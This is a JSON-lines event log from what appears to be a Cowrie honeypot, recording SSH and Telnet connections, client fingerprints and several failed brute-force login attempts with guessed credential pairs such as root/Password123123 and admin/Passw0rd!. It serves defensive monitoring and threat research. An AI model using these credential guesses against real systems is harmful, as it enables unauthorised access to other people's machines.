{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:48:08.240647Z","src_ip":"201.17.146.173","session":"48116066be30","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kantoor","password":"123456","message":"login attempt [kantoor/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:48:08.962825Z","src_ip":"201.17.146.173","session":"48116066be30","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:48:10.123332Z","src_ip":"201.17.146.173","session":"48116066be30","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":36832,"dst_ip":"159.203.135.109","dst_port":23,"session":"1680276a192d","protocol":"telnet","message":"New connection: 107.6.151.170:36832 (159.203.135.109:23) [session: 1680276a192d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:48:10.951774Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":47280,"dst_ip":"159.203.135.109","dst_port":23,"session":"ec05f9be1040","protocol":"telnet","message":"New connection: 172.81.62.90:47280 (159.203.135.109:23) [session: ec05f9be1040]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:48:17.634520Z"}
{"eventid":"cowrie.session.closed","duration":30.65216827392578,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:48:33.104655Z","src_ip":"142.91.108.32","session":"b92c7d69f583","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.224684953689575,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:48:36.029228Z","src_ip":"172.81.62.90","session":"2402c51ece9f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"14.63.196.175","src_port":57832,"dst_ip":"10.17.0.5","dst_port":22,"session":"155bcd7854ff","protocol":"ssh","message":"New connection: 14.63.196.175:57832 (10.17.0.5:22) [session: 155bcd7854ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:48:36.267234Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:48:36.271072Z","src_ip":"14.63.196.175","session":"155bcd7854ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:48:36.474613Z","src_ip":"14.63.196.175","session":"155bcd7854ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ld","password":"ld","message":"login attempt [ld/ld] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:48:37.325811Z","src_ip":"14.63.196.175","session":"155bcd7854ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:48:38.532594Z","src_ip":"14.63.196.175","session":"155bcd7854ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.110021114349365,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:48:42.061706Z","src_ip":"107.6.151.170","session":"1680276a192d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.56365752220154,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:48:51.198048Z","src_ip":"172.81.62.90","session":"ec05f9be1040","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.251.185.39","src_port":50150,"dst_ip":"10.17.0.5","dst_port":22,"session":"c1d47077f4ec","protocol":"ssh","message":"New connection: 160.251.185.39:50150 (10.17.0.5:22) [session: c1d47077f4ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:48:57.511331Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:48:57.518266Z","src_ip":"160.251.185.39","session":"c1d47077f4ec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:48:57.701494Z","src_ip":"160.251.185.39","session":"c1d47077f4ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"light","password":"123456","message":"login attempt [light/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:48:58.467078Z","src_ip":"160.251.185.39","session":"c1d47077f4ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:48:59.652704Z","src_ip":"160.251.185.39","session":"c1d47077f4ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.89.75.194","src_port":33332,"dst_ip":"10.17.0.5","dst_port":22,"session":"1ec62157c34b","protocol":"ssh","message":"New connection: 5.89.75.194:33332 (10.17.0.5:22) [session: 1ec62157c34b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:49:24.706564Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:49:24.711828Z","src_ip":"5.89.75.194","session":"1ec62157c34b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:49:24.812829Z","src_ip":"5.89.75.194","session":"1ec62157c34b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Passw0rd!","message":"login attempt [admin/Passw0rd!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:49:25.253522Z","src_ip":"5.89.75.194","session":"1ec62157c34b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:49:26.356812Z","src_ip":"5.89.75.194","session":"1ec62157c34b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":48418,"dst_ip":"159.203.135.109","dst_port":23,"session":"3dbfce6fc8ff","protocol":"telnet","message":"New connection: 128.199.8.54:48418 (159.203.135.109:23) [session: 3dbfce6fc8ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:49:26.625963Z"}
{"eventid":"cowrie.session.connect","src_ip":"195.245.242.244","src_port":56734,"dst_ip":"159.203.135.109","dst_port":23,"session":"b13fa85c942f","protocol":"telnet","message":"New connection: 195.245.242.244:56734 (159.203.135.109:23) [session: b13fa85c942f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:49:35.710670Z"}
{"eventid":"cowrie.session.connect","src_ip":"76.79.213.69","src_port":44644,"dst_ip":"10.17.0.5","dst_port":22,"session":"f93e44fdfbee","protocol":"ssh","message":"New connection: 76.79.213.69:44644 (10.17.0.5:22) [session: f93e44fdfbee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:49:36.029393Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:49:36.033239Z","src_ip":"76.79.213.69","session":"f93e44fdfbee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:49:36.154226Z","src_ip":"76.79.213.69","session":"f93e44fdfbee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jason","password":"jason@123","message":"login attempt [jason/jason@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:49:36.674023Z","src_ip":"76.79.213.69","session":"f93e44fdfbee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:49:37.797973Z","src_ip":"76.79.213.69","session":"f93e44fdfbee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.67807626724243,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:50:06.388634Z","src_ip":"195.245.242.244","session":"b13fa85c942f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.487311601638794,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:50:08.113110Z","src_ip":"128.199.8.54","session":"3dbfce6fc8ff","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":35600,"dst_ip":"10.17.0.5","dst_port":22,"session":"dd62049221db","protocol":"ssh","message":"New connection: 27.71.230.31:35600 (10.17.0.5:22) [session: dd62049221db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:50:36.936822Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:50:37.076330Z","src_ip":"27.71.230.31","session":"dd62049221db","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:50:37.596532Z","src_ip":"27.71.230.31","session":"dd62049221db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password123123","message":"login attempt [root/Password123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:50:41.066612Z","src_ip":"27.71.230.31","session":"dd62049221db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":54030,"dst_ip":"159.203.135.109","dst_port":23,"session":"a9210bf6e832","protocol":"telnet","message":"New connection: 128.199.8.54:54030 (159.203.135.109:23) [session: a9210bf6e832]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:50:41.928128Z"}
{"eventid":"cowrie.session.closed","duration":"10.2","message":"Connection lost after 10.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:50:47.172964Z","src_ip":"27.71.230.31","session":"dd62049221db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.251.185.39","src_port":38526,"dst_ip":"10.17.0.5","dst_port":22,"session":"93cea14ec95b","protocol":"ssh","message":"New connection: 160.251.185.39:38526 (10.17.0.5:22) [session: 93cea14ec95b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:50:49.427598Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:50:49.434332Z","src_ip":"160.251.185.39","session":"93cea14ec95b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:50:49.621048Z","src_ip":"160.251.185.39","session":"93cea14ec95b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ceo","password":"ceo123","message":"login attempt [ceo/ceo123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:50:50.404918Z","src_ip":"160.251.185.39","session":"93cea14ec95b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:50:51.595199Z","src_ip":"160.251.185.39","session":"93cea14ec95b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.17.146.173","src_port":56084,"dst_ip":"10.17.0.5","dst_port":22,"session":"a73af7bdc590","protocol":"ssh","message":"New connection: 201.17.146.173:56084 (10.17.0.5:22) [session: a73af7bdc590]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:50:52.469612Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:50:52.473986Z","src_ip":"201.17.146.173","session":"a73af7bdc590","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:50:52.710762Z","src_ip":"201.17.146.173","session":"a73af7bdc590","protocol":"ssh"}
